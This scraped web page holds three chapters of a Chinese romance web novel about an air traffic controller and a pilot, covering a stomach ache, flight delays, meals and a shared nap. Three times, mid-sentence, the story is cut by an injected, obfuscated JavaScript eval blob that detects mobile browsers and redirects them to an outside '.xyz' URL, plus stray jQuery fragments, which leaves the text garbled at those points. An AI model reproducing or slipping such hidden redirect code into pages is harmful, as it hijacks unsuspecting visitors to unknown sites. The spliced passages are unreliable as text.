从机场管制中心回家开车不过十几分钟的路程,这会外面风大雨更大,宋觉骁算着时间差不多又给他发了个信息问他到家没有,结果林序川迟迟没有回信。 他在家等得有点坐立难安,就干脆给林序川打了个电话,也不知道他在跟谁通话,电话总是忙音占线。 宋觉骁拿着手机在客厅里转圈,连打了好几个,总算是打通了,急急开口问:“你跟谁打电话呢?我打你好几个电话总占线,信息也不回。你人呢?这都半个小时了,还没到家?” “我在楼下……”手机那头的林序川声音有些尴尬,“我被困在电梯里了。” 18.梦到你骂我 好不容易等到维修师傅来开了门,宋觉骁看见他捂着肚子皱着眉从电梯里出来,就知道他是又胃痛了,当即脸色一沉。 林序川抬头对上他的目光,有点心虚。 晚上饭点正好他轮休,结果去食堂吃饭的时候,才刚吃几口就被江宁一个电话薅了回去,就是那会开始刮大风忙起来的。 本来晚饭就没吃多少,又忙了一晚上,下班的时候感觉有点饿,他就在卢希然那顺了两包饼干垫了垫,寻思一会到家了再吃东西。 结果没想到好巧不巧就遇到了电梯故障的事,他就被水灵灵地困在了电梯里,也幸好是在底楼,倒是没什么危险。 林序川打了电梯里的维修电话,又打了物业电话,但今晚外面风大雨大的,找人来开门也得要一段时间,这么一等,怎么也得有半个小时了,下班那会顺的两包小饼干早就消化没了。 两个人一前一后从另一侧的电梯上楼回家,到了林序川家门口宋觉骁才开口问他,“你没吃晚饭?” 那语调一时也没听出来是生气了还是没生气,林序川只好老实交代,“吃了,没吃饱。” 他开了门,声音有气无力地,“晚上吃饭那会被师兄一个电话喊了回去,没吃几口,又忙了一晚上,下班那会就饿了。” 林序川回头,可怜巴巴地看他,企图以此蒙混打消宋觉骁又要骂他的念头,顺便还补救了一句,“我临走的时候还在小卢那顺了两包饼干呢,寻思先垫垫肚子,等到家了再吃,结果——” 电梯坏了。 宋觉骁就站在门口看着他,本来确实是想说他两句的,但看他那在昏暗灯光下有些惨白的脸色和紧皱的眉头,分明不舒服还一副极力讨好的可怜模样,心疼总是比责备更多些。 话到了嘴边又咽了回去,沉着脸一言不发地进屋换鞋往厨房走。 林序川亦步亦趋地跟在他身后,伸手拽住他衣袖轻晃了晃,“哥……我想吃面。” “知道了!”宋觉骁回头看了他一眼,扒开他的手推着他出了厨房,“去外面等着,先去找点东西吃。” “哦……”见他应了声,林序川默默松了口气,转身去客厅抽屉里翻了点吃的出来,手里拿着包饼干又重新蹭到了厨房门口,扒着门框探头探脑。 宋觉骁身上还是那身白色短袖的制服衬衫,肩上是醒目的四道杠,此刻正围着围裙在砧板前切番茄。侧着半边身子,林序川看不清他脸上的表情,但不知道为什么,总觉得宋觉骁那个背影看着像是在生气。 思虑再三,他还是挪了进去,站定在他身后,本来想伸手的,发现手上还有饼干碎,就又伸了回来,深怕弄脏他衣服。 宋觉骁听见动静回头看见他,语气不咸不淡地问了句,“怎么了?” 林序川打量着他,不太确定地问:“你……生气了?” 宋觉骁像是愣了一下,回身把切好的番茄放进了碗里,转头又把砧板跟菜刀放进了水池,潺潺的流水声响起,林序川听见他说了句,“没有。” 总感觉他这个“没有”不是那么可信,主要大概还是因为林序川自己心虚,他又凑了上去,急急解释,“我真不是故意不吃的……今晚什么情况你也知道,师兄给我打电话的时候我就吃了几口就回去了。后来下班觉得饿,我也吃了东西的,就是没想到回来的时候电梯坏了。” 他是想表达这次的胃痛并不是他主观意义上导致的,但宋觉骁好像没什么特别的反应,“嗯”了一声,擦干了手反而把他推了出去,“知道了,外面等着去,别碍事。” 然后,反手还把厨房移门拉上了。 林序川站在门外,一头雾水。 什么意思?冷暴力? 这还不如骂他一顿呢! 林序川坐在餐桌边闷闷不乐地啃饼干。 厨房里,宋觉骁沉着脸炒菜煮面。 生气吗?大概算不上吧。 他只是突然想起林序川那个胃病,准确来说,他当年的胃病是因为情绪压力,并不是饿出来的。那会分明给他养好了,后来他不在的这十多年,他到底又经历了什么? 他们当管制的,好像平常工作压力也很大。所以他的胃病,是因为工作还是因为什么别的原因? 宋觉骁端着煮好的面出来,又给他倒了杯热水,之后就在林序川对面坐下了,这会的脸色看着没那么阴沉,但也没什么笑意,倒像是心事重重的。 林序川偷瞄了他两眼,见宋觉骁低着头在玩手机,也不知道在跟谁聊天,反正就是没搭理他,他也不说话,两个人就这么坐着谁也没开口。 等林序川吃完,宋觉骁就默不作声收了他的碗筷回厨房,徒留林序川在外面客厅里抓耳挠腮。 有时候是真觉得他自己挺贱的,挨了骂不行,不挨骂还难受。 林序川在客厅里转了两圈,这会虽然吃了东西,但胃里还是不太舒服,喝了两口温水他就去沙发上躺着了。 “凌凌?”宋觉骁收拾完厨房再出来的时候就看到他蜷缩着侧躺在沙发上,双手捂着肚子,眉头紧锁,还以为他是怎么了,吓了一大跳,赶忙大步走了过去,“怎么了,胃里还是不舒服吗?我带你去医院?” 大约是今天太累了,加上这会时间也确实不早了,身体又不舒服,林序川几乎刚躺下没一会就睡着了。 这会迷迷糊糊地转醒,看见眼前的宋觉骁一脸担忧的模样,半梦半醒间的下意识反应就伸手抱住了他,闭着眼睛趴在他肩膀上,轻声呢喃着:“你别生气了行不行……” 宋觉骁比他大两岁,打小就践行贯彻着“他是哥哥,要照顾弟弟”的准则,而林序川也是从小就喜欢黏着他,平常一得闲就要去找哥哥玩,两个人好的简直像连体婴儿。 特别是林序川刚学会走路那会,话都说不利索的年纪,就爱腻在他身边撒娇。 后来上了学大一些了,大约是觉得男孩子撒娇不好看,尽管他们还是总在一起玩,但林序川那会开始就不再和小时候一样爱黏他了,宋觉骁还为此失落了很久,觉得是弟弟上了学交到了别的朋友之后就不喜欢他了。 一直到之后他们俩互相喜欢的暧昧期,林序川好像又变成了小时候的样子,尽管多了个爱嘴硬的毛病,但在他身边的时候,总会无意识地喜欢靠近他,黏着他。 而自从当年林序川不告而别之后,他已经很久没有这样抱过他了。 那种久违的,下意识的依赖,一时让宋觉骁失了神,但身体的反应却还是让他自然地抬手抱住了他,双手在他背上轻拍着,还像以前一样温柔地哄着他,“我没生气。” “那你为什么不理我?”林序川搂着他脖子的手臂收紧了,像是在表达对他言论的质疑,语气听上去很是委屈。 “我要事事都跟你生气,早晚要得高血压。”宋觉骁叹了口气,也没多解释,轻声问他:“胃还疼吗?你胃药放在哪,我去帮你拿?” “……”这话说的,以后他要真得了高血压,岂不是还得赖他? 林序川直起身子皱眉看着他,摇了摇头,“不用吃药,已经好点了。” 他这会已经完全醒了,搂着他的手也松开了。 “那你去屋里睡吧,洗个澡,早点睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463034|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。”宋觉骁松了手站起身,亲昵地揉了揉他的头发,“明天我备晚班,早上来喊你吃饭,明天想吃什么?” 明天林序川是夜班,中午可以在家吃。 林序川仰头看着他,复而又伸手拽住了他一根手指,“我想吃鲈鱼,清蒸的。” “好,知道了。”宋觉骁点头,反握住他的手,轻捏了捏就松开了,“快去睡觉吧,我回去了。” 林序川低着头,几不可查地点了点之后,才颇有些不舍地松了手,“……嗯。” 这夜的雨没过多久就停了,可那呼啸的风却是刮了一整晚。 林序川陆陆续续做了一晚上稀奇古怪的梦,也没怎么睡熟,一会梦到他跟宋觉骁小的时候,一会又梦到长大以后,一会又成了他们分手后重逢,宋觉骁逮着他一通大骂。 一晚上,生生被吓醒了好几次,一直到大早上四五点的时候才迷迷糊糊有了点困意,结果八点多又被宋觉骁一个电话吵醒了。 他连起床去开门的时候,眼皮都还在打架。 “怎么了,昨晚没睡好?”宋觉骁本来是两只手上都拿了东西,但进门见他走路都跌跌撞撞,干脆把东西放在了门口,一把拽住了他。 “梦到你骂我……还骂了我一宿。”林序川迷迷糊糊地回头,语气委屈的很,额头抵在他胸口,瓮声瓮气地问:“我好困……能不能不吃早饭?” “不行!”宋觉骁直接就是一个拒绝,抬手揉了揉他的头发,笑着问:“我骂你什么了?” 林序川叹着气直起身,想起昨晚梦里被骂了一晚上的经历,属实有点不太开心,翻了个白眼扭头就走,“别跟我说话,不想理你!” 看着突然空了的怀抱,宋觉骁也没在意,失笑拎起地上的东西跟过去,把早饭放在餐桌上,“你先吃点东西,吃完了再去睡。” 林序川“哦”了一声,转身去了卫生间刷牙洗脸。 等再出来的时候,宋觉骁在阳台上打电话,阳台的移门没关严实,林序川拿了吃的,不知不觉就走到了沙发边坐下来,耳朵注意着阳台上的动静。 宋觉骁这个电话打了挺久的,起初说的好像是英语,但没怎么听清,后来又成了中文,大致好像是什么朋友过两天要来。 林序川正琢磨着,宋觉骁挂了电话出来了,看见他手里拿着根油条,坐在沙发上发呆,皱了皱眉走上前,“发什么愣呢?你不是困嘛,还不赶紧吃?” “你有朋友要来?”林序川咬了口油条,一边嚼着一边不动声色地问他。 宋觉骁看了他一眼,他又慌忙避开视线,起身回了餐桌旁,“你门没关好……我不小心听见的。” 见他那副欲盖弥彰的样子,宋觉骁走过去站定在他身边,弯腰凑到他耳边,笑盈盈地问:“听到就听到了,我又没问你……你心虚什么?” 刚才迷迷糊糊的没注意,这会他一凑近,一股淡淡的柠檬柑橘香掺着清新沉稳的木质调扑面而来。 温柔又充满侵略感。 林序川下意识挺直了脊背,扭头梗着脖子瞪他,“我心虚什么,我有什么好心虚的!” “是是是,你不心虚,你只是不小心听到了随口问问。”宋觉骁一副阴阳怪气的语调,嘴角还噙着笑,抬手揉乱了他的头发,一边数落道:“吃个饭还磨磨蹭蹭,我看你是一点也不困。” “宋觉骁!” 宋觉骁怪腔怪调地学他:“不要摸我头发!” 林序川:“???” 宋觉骁:“我帮你说了。” 林序川:“!!!” 你有病啊! 19.相思病犯了 本来宋觉骁今天备的是晚班,结果中午他跟林序川吃饭的时候,几乎刚碰着碗筷,调度的电话就来了。 说是让他江湖救急,飞下午一点多的班去广州,再从广州到北京,今晚要在北京过夜,明天上午才回。 那会距离起飞就剩一个多小时了,据说是问了一圈找不到人飞,只能把备晚班的宋觉骁拉出来救急。电话来了他也不好推脱,只能匆匆扒了一碗饭,火急火燎地出门。 今天林序川是晚班,本来宋觉骁是打算晚上另外给他做饭的,所以中午做的也不多。结果他提前走了,晚饭林序川就干脆去单位食堂蹭了一顿。 他一个人,懒得开火。 结果他今天到单位的时候,发现原本应该早就下班了的程瑜,竟然还没走,就连江宁也在休息室里,几个人在那围着有说有笑,还有一个他没见过的人。 江宁是正对着门口站的,刚巧看见他进来,就冲他招了招手,“序川。” 林序川来了虞城机场这也有一个月了,整个虞城机场管制中心,且不说所有人他都认识,至少开大会的时候能混个脸熟。 但今天这人,好像从来没见过。 像是听见江宁喊他名字,那人脸上原本笑嘻嘻的表情露出了几分好奇,胳膊撞了撞身边的江宁问:“这就是你那师弟?” 江宁疑惑地转头看他,“你怎么知道?” “嗐,久仰大名了可是!”那人冲着走上前的林序川一伸手,十分热情道:“你好啊,我叫赵昀,以前也是咱管制中心的,你跟他们一样喊我老赵就行,甭客气哈。” “啊……你好你好。”林序川可谓一头雾水。 头回见,就久仰了?什么情况? 旁边程瑜幽幽道:“你想想你当初为什么被踢出群就懂了。” 林序川眨了眨眼,恍然大悟:“……懂了!” 师兄还真是给他宣传到位啊,是个认识江宁的人怕是都认识他了。 师兄本人还懵着:“啊?” 据了解,赵昀是去年调任去了新区机场,如今是调期提前结束,所以就回来复职了,但是正式复职是大后天。 每个机场的管制流程不同,虽然赵昀之前是虞城机场出去的,但这也有一年多的时间了,今天就是回来熟悉熟悉的。 岗前会开始前,赵昀跟着江宁出去了,程瑜就跟林序川在休息室里八卦,“老赵是付主任的小舅子,他亲姐就是付主任老婆。你别看赵昀喊江宁叫哥,他其实比江哥还大一个月呢,大龄剩男一个!” “他以前是虞城区调的,区调控制室前些年换了新大楼,搬远了,他就趁机搬出去住了。不在家也没人盯着他,家里人催他找对象相亲他也不去。后来调来了进近,在付主任眼皮子底下,结果没待多久就又调任去了新区机场。” “哦……原来如此!”林序川了然点头,又问:“他跟我师兄关系很好?” “这个嘛——”程瑜摸着下巴思索了一阵,“主要是江哥不会嫌弃他。” 林序川不解:“啥意思?” 程瑜:“因为江哥不打游戏!” 林序川:“?” 程瑜抬手一拍他肩膀,语重心长道:“川儿啊!记住一句话,找他八卦可以,但一定别跟他打游戏!一定!切记!什么游戏都不行!” 林序川:“…………” 听这语气,好像是经历过无数惨痛的教训了。 赵昀是下午就来了,白天只有程瑜在,江宁是晚班,他就多留了一会等江宁来了叙了几句旧,等到他们到点开会的时候他才走,临走前说是请他们几个后天去吃饭。 还特别诚挚热情地拉着林序川的手,说让他一定要来。 搞得林序川社恐症都要犯了,最后赵昀是被程瑜赶走的。 江宁看着打打闹闹离开的两人,挨在林序川身边幽幽道:“要说程瑜是管制中心头号八卦头子,老赵就是第二!”说完,他还一脸认真地叮嘱林序川,“你别跟他俩学坏了!” 林序川:“…………” …… 晚上一点多,林序川轮休的时候才看到手机上宋觉骁给他发的报备信息,是一个小时前的,说是刚落地。 【明天北京天气不好,起飞可能会延误,等我落地大概得很晚了。】 【你明天下班记得去吃个早饭,回家早点睡觉,不用等我了。】 这家伙真是……罗里吧嗦。 谁要等他了! 林序川这么想着,手上打字却是另一副面孔,【知道了。】 他刚发完,那头宋觉骁几乎是秒回了一个【乖】的表情包。 林序川额角一牵,就不该回他! 不过,这会都一点多了,一个小时前就落地了,明天还是早班,这个点还没睡? 犹豫了片刻,他还是问了句:【一点多了,你明天不是早班吗?】 宋觉骁:【相思病犯了,睡不着。】 宋觉骁:【你在干嘛?能不能打电话?】 宋觉骁:【要不你跟我说个晚安?或者你给我发个语音也行。】 宋觉骁:【老实巴交.jpg】 林序川:“……” 得,让你手欠! 摊上事儿了吧! 夜班本来就没几个人,这会轮班休息室里就剩他一个,林序川跟做贼似的抬头看了一圈,确定没人之后才低头恶狠狠地打字: 林序川:【爱睡不睡!】 林序川:【已读,不值得回.jpg】 宋觉骁:【那得看睡谁。】 林序川:“……” 所谓鸡同鸭讲,就是这样了。 他没回,但宋觉骁倒是发了条语音过来,不过短短三秒,尽管休息室里这会没人,但林序川总有一种“这玩意不能公放听”的感觉,于是火速翻出了耳机戴上。 按下语音条的那一刻,传来的先是一声颇为宠溺的轻笑声,不明显,但他听见了。随后是宋觉骁那带着一分痞气的音调,像是故意压低的声音,深沉又温柔地透过耳机传来。 “晚、安~” 两个字,林序川都不知道自己反复按了多少遍语音条,一边心里暗骂狗男人诡计多端,一边又可耻地默默点了收藏。 …… 翌日清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466194|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早,本来宋觉骁的航班是早班六点半起飞,但是当天北京有强对流天气,又是雷雨又是冰雹的,航班大面积延误,甚至到林序川下班的时候宋觉骁的航班都还没通知起飞。 一直到林序川一觉睡醒,已经是下午一点多了,起来就看到手机上宋觉骁给他发的信息:【我今天可能回不去了。】 还配着一个大哭的表情。 看时间,是刚发不久的。 林序川回了个问号过去,那边宋觉骁直接打了电话过来。 电话一接通,那头宋觉骁的声音就传来了,“醒了?” “嗯,刚醒。”林序川打了个哈欠,想起他刚刚发的信息,憋着笑假装正经地问:“怎么了,航班取消了?” “没取消,但也没通知什么时候能飞。”宋觉骁不咸不淡地哼了一声,“我回不去,你乐什么?你就巴不得我不回去,就没人管你吃喝拉撒了是吧!” 这话说的——真糙。 林序川轻咳了一声,狡辩道:“我哪有,你少污蔑我。” “呵,我还不知道你?” 林序川默默翻了个白眼,开了个免提,拿着手机起身下床,准备出去找点吃的,顺便转移了话题问:“北京今天天气很差吗?那你这会在机场还是在酒店?” “酒店里等着呢。”宋觉骁说着叹了口气,“大风大雨,电闪雷鸣的,一时半会是飞不了了。说是凌晨那会还下了冰雹,不过我起来的时候没看见,也不知道是真的假的。” “最近天气都不怎么好,虞城这边今天也是阴天,凌晨那会也下了雨,不过没下多久就停了,风倒是不大。”林序川走到厨房打开冰箱,就发现冰箱里又被塞满了各种食材。 耳边手机那头的宋觉骁,像是在他身上装了监控一样,几乎他刚打开冰箱,就听见宋觉骁说:“你是不是还没吃饭?冰箱里有菜,你要是懒得做,下面速冻的里面有饺子。” 林序川翻了翻那些菜,果断关上了冷藏室的门,又打开了下面冷冻室的冰箱门,一边道:“我这不是刚醒嘛。” “早饭吃了?” “吃了吃了……真啰嗦。” “饺子在最下面那层,右边那格的抽屉里。” …… 宋觉骁一时半会也回不来,他不挂电话,林序川也不舍得主动挂电话,干脆就去找了耳机戴上,一边煮饺子,一边跟他有一搭没一搭的聊了许久,就连他吃东西的时候,他俩电话都还通着。 直到后来宋觉骁那边来了个电话,微信通话被打断了。 隔了大概五六分钟,宋觉骁的电话就又来了,“好消息,来通知能飞了!” 林序川正洗碗呢,水流声有点大他没听清,刚要问的时候,就听见宋觉骁唉声叹气道:“坏消息,是个红眼航班,十一点半起飞!” “……”林序川沉默了一瞬,差点笑出声,已经能想象到那头宋觉骁愁眉苦脸的表情了。于是憋着笑,没什么诚意地安慰道:“额……辛苦了。” “唉!”这一声叹息,可谓做作到了极致,宋觉骁阴阳怪气道:“不辛苦,命苦!” 林序川:“…………” 20.这真的对吗 按照往常的习惯,宋觉骁要给他做饭,那都是趁着林序川在家的时候才上门,因为林序川不肯给他家门密码。或者是他做完了从楼下端到上楼,比如早上熬的粥。 昨晚他是飞了个红眼航班,林序川一点多睡的时候还没收到他落地的消息,结果今天一早生物钟六点多醒的时候,就看到手机里宋觉骁给他发的信息,让他睡醒了去楼下吃早饭。 说起来,他这还是头一次下楼去他家。 15楼那套房子原来是王珩宇的,据说这套房子当初是王珩宇为了追他师兄江宁的时候特地买的精装修,大少爷买完以后自己又“精装”了一下。 林序川一直都挺好奇,宋觉骁到底是怎么就那么正好的买在了他楼下? 因为听江宁说,当时两套房子是一起挂的中介,15楼的是在确定16楼要给租给他之后才卖出去的。 该不会…… 猜测有很多,但他始终没敢问。 等林序川下楼的时候,宋觉骁还打着哈欠一副没睡醒的样子来给他开的门,身上穿了套浅灰色的睡衣,领口的扣子也没扣好,直到胸口的位置都大敞着,那半遮半掩的实在引人遐想。 这大清早的,正常人哪看得了这个啊! 林序川一边在心里大骂这狗男人不守男德,一边眼睛眨都不眨地盯着,默默咽口水。 宋觉骁抬手轻扣了一下他脑门,清早并不清爽的嗓音带着几分喑哑的笑意,“好看嘛,小色鬼?” “咳……”林序川慌忙移开视线,但又不想显得他太心虚,于是先下手为强地骂他,“大早上的,衣服也不穿好。这来的是我,要来的是别人呢?你就这么来开门啊?简直有碍观瞻!有伤风化!世风日下!男德败坏!” “小嘴叭叭的,还挺能说。按你这意思,就你能看,别人不能呗?”宋觉骁一挑眉,看他那眼神颇有几分玩味,“不仅是个小色鬼,还是个小气鬼?” “我——”坏!大意了! 但他不是任人宰割的性格,林序川往前一步,伸出一根手指,一副流氓作派勾着宋觉骁的下巴,大抵是他大清早的还没收拾自己,那下巴上都有胡茬了,磨着他指腹微痒。 林序川勾唇一笑,“呦,睡都睡了,看看还不行了?勾引我还立牌坊,你要不乐意给我看,那你把衣服穿好啊。” 宋觉骁倒是被他说得愣了一瞬,林序川立刻收回手,越过他往屋里走,一副小人得志的模样。 哼,狗男人,拿捏! 宋觉骁回过神,舌尖抵着牙齿内侧,一时都不知道该气还是该笑。 这兔崽子还跟他装上流氓了?真耍流氓了他又跑。 装得还挺像,差点被他唬住。 算了,自己挑的自己宠吧。 宋觉骁回头跟上去,指了指屋里餐桌上的锅碗,“早饭在桌上,你一会吃完把碗筷丢水池里就行。” “啊?” “啊什么?”宋觉骁打了个哈欠冲他摆了摆手,“我去补个觉,你自己慢慢吃。” 说完,他甚至都没等林序川回答,就打着哈欠回卧室去了。 什么情况?他倒是挺放心他在他家啊? 林序川狐疑地盯着那人背影应了一声,等人进了屋,他才努着嘴开始左右打量起这个家。 先前听师兄说起,当时这房子卖掉的时候就光把东西搬走了,家具什么的都还在。这家里有些地方都还空置着没放东西,进门一口硕大的展示柜里空荡荡的,除了那些看上去就很贵的家具外,其他是看不出来一点家的感觉。 估计宋觉骁当时买了房子之后都没归置过,主打一个能睡人就行。 吃完早饭,林序川顺手帮他把厨房收拾了,他倒也不好意思真的吃完了就扔水池里。 俗话说得好,吃人嘴短。 洗完出来,站在厨房门口,林序川突然有点犹豫,刚刚除了斗嘴,也没跟他说上两句话,看他那哈欠连天的样子明显是没睡醒,是昨晚的航班落地很晚了? 啧……这人,自己都睡眠不足了,还非要给他做什么早饭,他又不会真的把自己饿死。 林序川鬼使神差地走到了他卧室门口,才发现宋觉骁卧室的门没关好,那半掩着的房门留着一条缝,屋子里黑漆漆一片,却好似有一双无形的手,招呼着让他推门进去。 要不就看一眼……看一眼就走。 他这么想着,手握着门把手,呼了口气,还是推门走了进去。 屋里的窗帘没拉严实,屋外清早的日光正好,明媚的阳光透过窗帘的缝隙照进屋子里,床尾的地板上漏着一缕光亮,本该昏暗的房间里多了一丝温暖的静谧。 床上的人正背对着他,安静地侧躺着,像是睡沉了。 林序川半掩上门,回头轻手轻脚地摸到床边,刚要松一口气,抬眼便对上了一双炯炯有神的眸子直视着他。 坏了!这狗东西怎么没睡着啊! 宋觉骁伸手按亮了床头的台灯,昏黄的灯光映在他带着笑意的脸上,他也不说话,单手撑着脑袋侧躺着,嘴角噙着若有似无的笑意,就这么好整以暇地看着他。 本就做贼心虚的林序川被他这一眼看得蹭一下站直了身子,慌乱解释,“那什么,你房门没关好……我就看看你睡没睡着。” “是嘛?”宋觉骁语调惊讶地反问了一句,随后漫不经心地打了个哈欠,徐徐道:“我还以为你是来爬床的。” 林序川:“…………” 俗话说得好,出来混,总是要还的! 回旋镖正中眉心。 “我没——诶!”林序川话刚出口,下一秒就被宋觉骁一把拽了过去跌到床上,那人双手一揽就把他搂进了怀里,一只手按着他后脑勺,一手按在他腰上,双臂一紧就把人禁锢在了怀里。 “别动。”林序川挣扎了一下又被他按住,低沉的嗓音带着浓浓的倦意,“来都来了,陪我睡会,不算你爬床。” 林序川脸上一热:“…………” 来都来了是这么用的嘛? 还有!什么叫不算他爬床?他就不是来爬床的! 但看他似乎很累的样子,林序川倒是没挣扎,小声问他,“你昨晚几点落地的?回来路上有状况?” “嗯,路上天气不好,落地前延误了一会,两点多才落的。” 昨晚天气是不怎么好,本来红眼航班起飞就晚了,按理北京到虞城晚上飞机少的情况顶多两个小时,可他十一点半起飞到两点多才落地,最少延误了半个小时。 林序川又问:“那你几点睡的?” “没睡。” “没睡?” 林序川动了一下,又被宋觉骁按住了,“到家已经快三点了,有点失眠没怎么睡着,等你的时候在沙发上眯了一会。” “你……”听着这话,林序川抵在他身前的手微微攥紧,声音闷闷的,“睡觉比较重要,不是非要给我准备早饭的。” 一晚上没睡,还给他做了早饭——林序川心里一时五味杂陈,但沉淀下来后才发现,好似是心疼更甚一些。 下巴抵在他头顶的人轻笑了一声,“怕你饿着,我会心疼。” “你当你是什么钢铁巨人嘛,一晚上不睡觉!我又不是小孩子,真饿了也会找吃的。”林序川语气不善地骂他。 可其实他更想说,没有宋觉骁在的这十二年他也这么过来了,如今真再感受到这样无微不至一心只为他的关怀时,他更怕的,是以后养成依赖习惯后的戒断反应。 那种痛彻心扉的感觉,不想再经历第二次了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472206|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! “好好好,知道了,我这不是正要睡嘛。”那双手在他背上拍了拍,语气无奈地哄着,后半句更像撒娇,“乖,别说话了,陪我睡觉。你不在,我失眠。” “谁要陪你睡觉了!”在他看不到的角度,林序川默默翻了个白眼。可尽管他嘴上十万分地嫌弃,身子倒是没动地乖乖躺着,嘴里嘀嘀咕咕,“你失眠关我屁事!谁让你不睡觉的!” “那你可怜可怜我行不行?就当吃了我早饭的报酬。”宋觉骁收紧了手臂,干脆抬了一条腿搁在他身上,“我不管,我困死了,你陪我睡觉。” “宋觉骁——咳!”林序川被他箍得难受,伸手掐他,但这家伙身材太好——不愧是开波音的,“空中健身房”名不虚传。宋觉骁手臂上的肌肉硬邦邦的他也没掐动,只能勉强在他腰上拧了一把,“撒手,抱太紧了!把你的腿从我身上拿下去!” “哦……”宋觉骁应了一声,确实松了一点,但不多,那条腿倒是放下来了。 但他拽着林序川的手往自己身后搭,贴着他的身子大言不惭地要求,“拍拍。” 林序川抬头瞪大了眼睛看他:“什么意思?你几岁啊睡觉还要哄的?满32减30?” 宋觉骁低头看他,凑近了些微微一笑,那笑看得林序川瘆得慌,偏着头躲开,警惕地看他,“你干嘛?” “哼哼,你要不哄,我就亲你。”宋觉骁一副将无赖贯彻到底的模样看着他,一挑眉,洋洋得意道:“有本事你跑啊。” 林序川:“…………” 草!这是真无赖! 死手!开什么门啊! 死腿!就不该进来! 一番对峙之下,迫于某人淫威,林序川只能被迫哄他睡觉,起初拍得没什么诚意,宋觉骁还不乐意,搂在他腰上的手摸到他后腰的位置轻按威胁,“好好拍,少敷衍我。” 林序川咬牙:“我看你一点也不困!” 宋觉骁下巴在他头顶上蹭了蹭,语气里满是得逞的笑意,“我困啊,困得不得了!我要睡了,你别说话,好好拍。” 狗东西!拍拍拍,拍死你得了! 不知是不是他的哄拍起了效,头顶的呼吸声逐渐平缓,宋觉骁身上是一阵干净清爽的皂香,带着一些沉稳的木质调,很好闻,也很令人沉迷。 林序川躺了一会,大约是被宋觉骁的困意感染了,没一会也睡着了。 等他再醒的时候,宋觉骁已经不在身边了。 林序川出了卧室门就闻到一股饭菜香,他站在房门口愣了一下,看着那边端着菜从厨房出来的人,一时间很是恍惚。 他分明只是下来吃个早饭,莫名其妙被他拉着和他一起补了个觉,哪种朋友关系是会相拥而眠的?现在醒了,还有人家特地做好的饭菜等着他。 这……真的对吗? “醒了?正好吃饭了。”宋觉骁看了他一眼,眼神看不出波澜,语气亦是平常又自然,“下午我朋友落地,一会我大概四点多得出门,晚上可能要带他出去吃饭。你是跟我一起去,还是我给你做点吃的你在家吃?” 朋友……是他那天听到的电话里那个? 见他不说话,宋觉骁转头看他,“怎么了?” “没事。”林序川不动声色地呼了口气,摇了摇头,迈步走过去,“我晚上也有饭局,忘记跟你说了,我同事请客。” 今天是赵昀说要请客吃饭的日子,他刚刚起来就看到手机上赵昀发的信息了,是订的餐厅位置和时间,离得倒是很近,就在附近。 “哦,好。”宋觉骁倒是没问他是跟谁吃饭,或者去哪吃饭,点头应了一声就转身回了厨房盛饭,出来的时候才又叮嘱了一句,“别喝酒。” 林序川接碗的手顿了一下,“知道了。”